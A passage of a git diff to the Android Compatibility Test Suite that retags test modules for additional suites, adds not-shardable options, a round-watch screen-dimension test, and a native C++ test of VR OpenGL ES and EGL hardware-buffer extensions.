+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
diff --git a/tests/tests/wrap/wrap_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug/AndroidTest.xml
index 9ce56ee..b3468bf 100644
--- a/tests/tests/wrap/wrap_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Debug Wrap test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapWrapDebugTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index 799030d..e4a8c51 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -21,9 +21,12 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
index ae27182..b7a6a11 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Wrap test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapWrapNoDebugTestCases.apk" />
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
index 2ac45a2..4a13909 100644
--- a/tests/tvprovider/Android.mk
+++ b/tests/tvprovider/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsTvProviderTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index dd8d28a..9365cbd 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS TV Provider test cases">
<option name="config-descriptor:metadata" key="component" value="tv" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index 0ad32d1..53ae77e 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk
@@ -27,9 +27,9 @@
LOCAL_PACKAGE_NAME := CtsUiDeviceTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := 16
+LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/ui/AndroidTest.xml b/tests/ui/AndroidTest.xml
index c8fcef3..3f52b4a 100644
--- a/tests/ui/AndroidTest.xml
+++ b/tests/ui/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS UI test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUiDeviceTestCases.apk" />
diff --git a/tests/ui/src/android/ui/cts/ScrollingTest.java b/tests/ui/src/android/ui/cts/ScrollingTest.java
index 45e98b9..6546b98 100644
--- a/tests/ui/src/android/ui/cts/ScrollingTest.java
+++ b/tests/ui/src/android/ui/cts/ScrollingTest.java
@@ -17,7 +17,6 @@
import android.test.ActivityInstrumentationTestCase2;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.MeasureRun;
import com.android.compatibility.common.util.MeasureTime;
@@ -60,7 +59,6 @@
super.tearDown();
}
- @CddTest(requirement="8.1/H-0-2")
public void testFullScrolling() throws Exception {
final int NUMBER_REPEAT = 10;
final ScrollingActivity activity = mActivity;
diff --git a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
new file mode 100644
index 0000000..c550f82
--- /dev/null
+++ b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.ui.cts;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.util.DisplayMetrics;
+import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class WatchPercentageScreenDimenTest {
+
+ private Context mContext;
+ private Configuration mConfig;
+ private float mScreenWidth;
+ private DisplayMetrics mDisplayMetrics;
+
+ private boolean isRoundWatch() {
+ return mConfig.isScreenRound() && (mConfig.uiMode & Configuration.UI_MODE_TYPE_WATCH)
+ == Configuration.UI_MODE_TYPE_WATCH;
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mConfig = mContext.getResources().getConfiguration();
+ mDisplayMetrics = mContext.getResources().getDisplayMetrics();
+ mScreenWidth = mDisplayMetrics.widthPixels;
+ }
+
+ @Test
+ public void test_10() {
+ if (!isRoundWatch()) {
+ return; // skip if not round watch
+ }
+
+ float expected = mScreenWidth * 0.1f;
+ float expectedDelta = getMaxErrorRatio() * expected;
+
+ TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
+ android.R.attr.listPreferredItemPaddingEnd
+ });
+ Assert.assertEquals("invalid number of attributes", 1, attrs.length());
+
+ for (int i = 0; i < attrs.length(); ++i) {
+ float actual = attrs.getDimension(i, -1);
+ Assert.assertEquals("screen_percentage_10 is not 10% of screen width",
+ expected, actual, expectedDelta + 0.01f);
+ }
+ }
+
+ @Test
+ public void test_15() {
+ if (!isRoundWatch()) {
+ return; // skip if not round watch
+ }
+
+ float expected = mScreenWidth * 0.15f;
+ float expectedDelta = getMaxErrorRatio() * expected;
+
+ TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
+ android.R.attr.dialogPreferredPadding,
+ android.R.attr.listPreferredItemPaddingLeft,
+ android.R.attr.listPreferredItemPaddingRight,
+ android.R.attr.listPreferredItemPaddingStart
+ });
+ Assert.assertEquals("invalid number of attributes", 4, attrs.length());
+
+ for (int i = 0; i < attrs.length(); ++i) {
+ float actual = attrs.getDimension(i, -1);
+ Assert.assertEquals("screen_percentage_15 is not 15% of screen width",
+ expected, actual, expectedDelta + 0.01f);
+ }
+ }
+
+ private float getMaxErrorRatio() {
+ // The size used will be the closest qualifier with width <= device width, so there may be
+ // small rounding errors.
+ float widthDp = mDisplayMetrics.widthPixels / mDisplayMetrics.density;
+ return (widthDp - (float) Math.floor(widthDp)) / widthDp;
+ }
+}
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
index d7b91d9..c70cfaf 100644
--- a/tests/video/Android.mk
+++ b/tests/video/Android.mk
@@ -32,7 +32,7 @@
LOCAL_PACKAGE_NAME := CtsVideoTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/vm-tests-tf/AndroidManifest.xml b/tests/vm-tests-tf/AndroidManifest.xml
deleted file mode 100644
index 2a2f40a..0000000
--- a/tests/vm-tests-tf/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.core.vm-tests-tf">
- <uses-permission android:name="android.permission.INTERNET" />
- <application>
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation android:name="android.test.InstrumentationCoreTestRunner"
- android:targetPackage="android.core.vm-tests-tf"
- android:label="cts trade federation vm tests"/>
-
-</manifest>
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
index ed28a37..d28ec0f 100755
--- a/tests/vm/Android.mk
+++ b/tests/vm/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsVmTestCases
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index 65f85f7..ea47d2b 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,13 +27,17 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner legacy-android-test
+
+LOCAL_JNI_SHARED_LIBRARIES := libctsvrextensions_jni libnativehelper_compat_libc++
LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/vr/AndroidTest.xml b/tests/vr/AndroidTest.xml
index 17a2a8f..02b2918 100644
--- a/tests/vr/AndroidTest.xml
+++ b/tests/vr/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS VR test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="vr" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
new file mode 100644
index 0000000..769b9ef
--- /dev/null
+++ b/tests/vr/jni/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsvrextensions_jni
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_CFLAGS += -Werror -Wall -Wextra -std=c++11
+
+LOCAL_SRC_FILES := VrExtensionsJni.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(call include-path-for, system-core) frameworks/native/opengl/include
+
+LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libEGL libGLESv2
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
new file mode 100644
index 0000000..6f304b8
--- /dev/null
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+#include <GLES2/gl2.h>
+#include <GLES2/gl2ext.h>
+#include <jni.h>
+#include <stdlib.h>
+#include <android/hardware_buffer.h>
+#include <android/log.h>
+#include <string>
+
+#define LOG_TAG "VrExtensionsJni"
+#define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE,LOG_TAG,__VA_ARGS__)
+
+using PFNEGLGETNATIVECLIENTBUFFERANDROID =
+ EGLClientBuffer(EGLAPIENTRYP)(const AHardwareBuffer* buffer);
+
+using PFNGLEGLIMAGETARGETTEXTURE2DOESPROC = void(GL_APIENTRYP)(GLenum target,
+ void* image);
+
+using PFNGLBUFFERSTORAGEEXTERNALEXTPROC =
+ void(GL_APIENTRYP)(GLenum target, GLintptr offset, GLsizeiptr size,
+ void* clientBuffer, GLbitfield flags);
+
+using PFNGLMAPBUFFERRANGEPROC = void*(GL_APIENTRYP)(GLenum target,
+ GLintptr offset,
+ GLsizeiptr length,
+ GLbitfield access);
+
+using PFNGLUNMAPBUFFERPROC = void*(GL_APIENTRYP)(GLenum target);
+
+PFNGLEGLIMAGETARGETTEXTURE2DOESPROC glEGLImageTargetTexture2DOES;
+PFNEGLGETNATIVECLIENTBUFFERANDROID eglGetNativeClientBufferANDROID;
+PFNEGLCREATEIMAGEKHRPROC eglCreateImageKHR;
+PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC glFramebufferTextureMultiviewOVR;
+PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC
+ glFramebufferTextureMultisampleMultiviewOVR;
+PFNGLBUFFERSTORAGEEXTERNALEXTPROC glBufferStorageExternalEXT;
+PFNGLMAPBUFFERRANGEPROC glMapBufferRange;
+PFNGLUNMAPBUFFERPROC glUnmapBuffer;
+
+#define NO_ERROR 0
+#define GL_UNIFORM_BUFFER 0x8A11
+
+// Declare flags that are added to MapBufferRange via EXT_buffer_storage.
+// https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_buffer_storage.txt
+#define GL_MAP_PERSISTENT_BIT_EXT 0x0040
+#define GL_MAP_COHERENT_BIT_EXT 0x0080
+
+#define LOAD_PROC(NAME, TYPE) \
+ NAME = reinterpret_cast<TYPE>(eglGetProcAddress(# NAME))
+
+#define ASSERT(condition, format, args...) \
+ if (!(condition)) { \
+ fail(env, format, ## args); \
+ return; \
+ }
+
+#define ASSERT_TRUE(a) \
+ ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) \
+ ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+ ASSERT((a) == (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+ ASSERT((a) != (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+ ASSERT((a) > (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+
+void fail(JNIEnv* env, const char* format, ...) {
+ va_list args;
+ va_start(args, format);
+ char* msg;
+ vasprintf(&msg, format, args);
+ va_end(args);
+ jclass exClass;
+ const char* className = "java/lang/AssertionError";
+ exClass = env->FindClass(className);
+ env->ThrowNew(exClass, msg);
+ free(msg);
+}
+
+static void testEglImageArray(JNIEnv* env, AHardwareBuffer_Desc desc,
+ int nsamples) {
+ ASSERT_GT(desc.layers, 1);
+ AHardwareBuffer* hwbuffer = nullptr;
+ int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
+ ASSERT_FALSE(error);
+ // Create EGLClientBuffer from the AHardwareBuffer.
+ EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
+ ASSERT_TRUE(native_buffer);
+ // Create EGLImage from EGLClientBuffer.
+ EGLint attrs[] = {EGL_NONE};
+ EGLImageKHR image =
+ eglCreateImageKHR(eglGetCurrentDisplay(), EGL_NO_CONTEXT,
+ EGL_NATIVE_BUFFER_ANDROID, native_buffer, attrs);
+ ASSERT_TRUE(image);
+ // Create OpenGL texture from the EGLImage.
+ GLuint texid;
+ glGenTextures(1, &texid);
+ glBindTexture(GL_TEXTURE_2D_ARRAY, texid);
+ glEGLImageTargetTexture2DOES(GL_TEXTURE_2D_ARRAY, image);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ // Create FBO and add multiview attachment.
+ GLuint fboid;
+ glGenFramebuffers(1, &fboid);
+ glBindFramebuffer(GL_FRAMEBUFFER, fboid);
+ const GLint miplevel = 0;
+ const GLint base_view = 0;
+ const GLint num_views = desc.layers;
+ if (nsamples == 1) {
+ glFramebufferTextureMultiviewOVR(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
+ texid, miplevel, base_view, num_views);
+ } else {
+ glFramebufferTextureMultisampleMultiviewOVR(
+ GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, texid, miplevel, nsamples,
+ base_view, num_views);
+ }
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ ASSERT_EQ(glCheckFramebufferStatus(GL_FRAMEBUFFER),
+ GL_FRAMEBUFFER_COMPLETE);
+ // Release memory.
+ glDeleteTextures(1, &texid);
+ glDeleteFramebuffers(1, &fboid);
+ AHardwareBuffer_release(hwbuffer);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_vr_cts_VrExtensionBehaviorTest_nativeTestEglImageArray(
+ JNIEnv* env, jclass /* unused */) {
+ // First, load entry points provided by extensions.
+ LOAD_PROC(glEGLImageTargetTexture2DOES,
+ PFNGLEGLIMAGETARGETTEXTURE2DOESPROC);
+ ASSERT_NE(glEGLImageTargetTexture2DOES, nullptr);
+ LOAD_PROC(eglGetNativeClientBufferANDROID,
+ PFNEGLGETNATIVECLIENTBUFFERANDROID);
+ ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
+ LOAD_PROC(eglCreateImageKHR, PFNEGLCREATEIMAGEKHRPROC);
+ ASSERT_NE(eglCreateImageKHR, nullptr);
+ LOAD_PROC(glFramebufferTextureMultiviewOVR,
+ PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC);
+ ASSERT_NE(glFramebufferTextureMultiviewOVR, nullptr);
+ LOAD_PROC(glFramebufferTextureMultisampleMultiviewOVR,
+ PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC);
+ ASSERT_NE(glFramebufferTextureMultisampleMultiviewOVR, nullptr);
+ // Try creating a 32x32 AHardwareBuffer and attaching it to a multiview
+ // framebuffer, with various formats and depths.
+ AHardwareBuffer_Desc desc = {};
+ desc.width = 32;
+ desc.height = 32;
+ desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE |
+ AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT;
+ const int layers[] = {2, 4};
+ const int formats[] = {
+ AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM,
+ AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM,
+ // Do not test AHARDWAREBUFFER_FORMAT_BLOB, it isn't color-renderable.
+ };
+ const int samples[] = {1, 2, 4};
+ for (int nsamples : samples) {
+ for (auto nlayers : layers) {
+ for (auto format : formats) {
+ desc.layers = nlayers;
+ desc.format = format;
+ testEglImageArray(env, desc, nsamples);
+ }
+ }
+ }
+}
+
+static void testExternalBuffer(JNIEnv* env, uint64_t usage, bool write_hwbuffer,
+ const std::string& test_string) {
+ // Create a blob AHardwareBuffer suitable for holding the string.
+ AHardwareBuffer_Desc desc = {};
+ desc.width = test_string.size();
+ desc.height = 1;
+ desc.layers = 1;
+ desc.format = AHARDWAREBUFFER_FORMAT_BLOB;
+ desc.usage = usage;
+ AHardwareBuffer* hwbuffer = nullptr;
+ int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
+ ASSERT_EQ(error, NO_ERROR);
+ // Create EGLClientBuffer from the AHardwareBuffer.
+ EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
+ ASSERT_TRUE(native_buffer);
+ // Create uniform buffer from EGLClientBuffer.
+ const GLbitfield flags = GL_MAP_READ_BIT | GL_MAP_WRITE_BIT |
+ GL_MAP_COHERENT_BIT_EXT | GL_MAP_PERSISTENT_BIT_EXT;
+ GLuint buf = 0;
+ glGenBuffers(1, &buf);
+ glBindBuffer(GL_UNIFORM_BUFFER, buf);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ const GLsizeiptr bufsize = desc.width * desc.height;
+ glBufferStorageExternalEXT(GL_UNIFORM_BUFFER, 0,
+ bufsize, native_buffer, flags);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ // Obtain a writeable pointer using either OpenGL or the Android API,
+ // then copy the test string into it.
+ if (write_hwbuffer) {
+ void* data = nullptr;
+ error = AHardwareBuffer_lock(hwbuffer,
+ AHARDWAREBUFFER_USAGE_CPU_READ_RARELY, -1,
+ NULL, &data);
+ ASSERT_EQ(error, NO_ERROR);
+ ASSERT_TRUE(data);
+ memcpy(data, test_string.c_str(), test_string.size());
+ error = AHardwareBuffer_unlock(hwbuffer, nullptr);
+ ASSERT_EQ(error, NO_ERROR);
+ } else {
+ void* data =
+ glMapBufferRange(GL_UNIFORM_BUFFER, 0, bufsize,
+ GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT_EXT);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ ASSERT_TRUE(data);
+ memcpy(data, test_string.c_str(), test_string.size());
+ glUnmapBuffer(GL_UNIFORM_BUFFER);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ }
+ // Obtain a readable pointer and verify the data.
+ void* data = glMapBufferRange(GL_UNIFORM_BUFFER, 0, bufsize, GL_MAP_READ_BIT);
+ ASSERT_TRUE(data);
+ ASSERT_EQ(strncmp(static_cast<char*>(data), test_string.c_str(),
+ test_string.size()), 0);
+ glUnmapBuffer(GL_UNIFORM_BUFFER);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ AHardwareBuffer_release(hwbuffer);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_vr_cts_VrExtensionBehaviorTest_nativeTestExternalBuffer(
+ JNIEnv* env, jclass /* unused */) {
+ // First, check for EXT_external_buffer in the extension string.
+ auto exts = reinterpret_cast<const char*>(glGetString(GL_EXTENSIONS));
+ ASSERT_TRUE(exts && strstr(exts, "GL_EXT_external_buffer"));
+ // Next, load entry points provided by extensions.
+ LOAD_PROC(eglGetNativeClientBufferANDROID, PFNEGLGETNATIVECLIENTBUFFERANDROID);
+ ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
+ LOAD_PROC(glBufferStorageExternalEXT, PFNGLBUFFERSTORAGEEXTERNALEXTPROC);
+ ASSERT_NE(glBufferStorageExternalEXT, nullptr);
+ LOAD_PROC(glMapBufferRange, PFNGLMAPBUFFERRANGEPROC);
+ ASSERT_NE(glMapBufferRange, nullptr);
+ LOAD_PROC(glUnmapBuffer, PFNGLUNMAPBUFFERPROC);
+ ASSERT_NE(glUnmapBuffer, nullptr);
+ const uint64_t usage = AHARDWAREBUFFER_USAGE_CPU_WRITE_OFTEN |
+ AHARDWAREBUFFER_USAGE_CPU_READ_RARELY |
+ AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER |
+ AHARDWAREBUFFER_USAGE_SENSOR_DIRECT_DATA;
+ const std::string test_string = "Hello, world.";
+ // First try writing to the buffer using OpenGL, then try writing to it via
+ // the AHardwareBuffer API.
+ testExternalBuffer(env, usage, false, test_string);
+ testExternalBuffer(env, usage, true, test_string);
+}
diff --git a/tests/vr/src/android/vr/cts/OpenGLESActivity.java b/tests/vr/src/android/vr/cts/OpenGLESActivity.java
index 2879114..4c67700 100644
--- a/tests/vr/src/android/vr/cts/OpenGLESActivity.java
+++ b/tests/vr/src/android/vr/cts/OpenGLESActivity.java
@@ -54,6 +54,10 @@
public static final int EGL_MUTABLE_RENDER_BUFFER_BIT = 0x1000;
private static final int EGL_OPENGL_ES3_BIT_KHR = 0x40;
+ public static final int RENDERER_BASIC = 1;
+ public static final int RENDERER_PROTECTEDTEXTURES = 2;
+ public static final int RENDERER_REFRESHRATE = 3;
+
OpenGLES20View mView;
Renderer mRenderer;
int mRendererType;
@@ -183,7 +187,7 @@
class OpenGLES20View extends GLSurfaceView {
- public OpenGLES20View(Context context, int index, int protectedAttribute,
+ public OpenGLES20View(Context context, int renderer, int protectedAttribute,
int priorityAttribute, int mutableAttribute, CountDownLatch latch) {
super(context);
setEGLContextClientVersion(2);
@@ -198,11 +202,11 @@
}
- if (index == 1) {
+ if (renderer == RENDERER_BASIC) {
mRenderer = new RendererBasicTest(latch);
- } else if (index == 2) {
+ } else if (renderer == RENDERER_PROTECTEDTEXTURES) {
mRenderer = new RendererProtectedTexturesTest(latch);
- } else if (index == 3) {
+ } else if (renderer == RENDERER_REFRESHRATE) {
mRenderer = new RendererRefreshRateTest(latch);
} else {
throw new RuntimeException();
diff --git a/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java b/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
index 8b0788b..2a24ec0 100644
--- a/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
+++ b/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
@@ -32,7 +32,7 @@
+ "} \n";
private String fragmentShaderCode = "precision mediump float; \n"
- + "sampler2D protectedTexture;\n"
+ + "uniform sampler2D protectedTexture;\n"
+ "void main(){ \n"
+ " gl_FragColor = texture2D(protectedTexture, vec2(0.76953125, 0.22265625)); \n"
+ "} \n";
@@ -72,4 +72,3 @@
GLES20.glUniform1i(loc, 2);
}
}
-
diff --git a/tests/vr/src/android/vr/cts/VrDisplayTest.java b/tests/vr/src/android/vr/cts/VrDisplayTest.java
index cda10f7..16de706 100644
--- a/tests/vr/src/android/vr/cts/VrDisplayTest.java
+++ b/tests/vr/src/android/vr/cts/VrDisplayTest.java
@@ -55,7 +55,7 @@
public void testRefreshRateIsAtLeast60Hz() throws Throwable {
final int NUM_FRAMES = 200;
// Add an extra frame to allow the activity to start up.
- mActivity = getGlEsActivity(NUM_FRAMES + 1, 3);
+ mActivity = getGlEsActivity(NUM_FRAMES + 1, OpenGLESActivity.RENDERER_REFRESHRATE);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -78,12 +78,11 @@
*/
@CddTest(requirement="7.9.2/C-1-14")
public void testDisplayResolution() {
- mActivity = getGlEsActivity(1, 1);
+ mActivity = getGlEsActivity(1, OpenGLESActivity.RENDERER_BASIC);
if (!mActivity.supportsVrHighPerformance())
return;
- Context context = mActivity.getApplicationContext();
- WindowManager windowManager = (WindowManager)context.getSystemService(
+ WindowManager windowManager = (WindowManager)mActivity.getSystemService(
Context.WINDOW_SERVICE);
DisplayMetrics metrics = new DisplayMetrics();
diff --git a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
index 31f2997..e7dafa2 100644
--- a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
+++ b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
@@ -20,9 +20,12 @@
import android.opengl.GLES32;
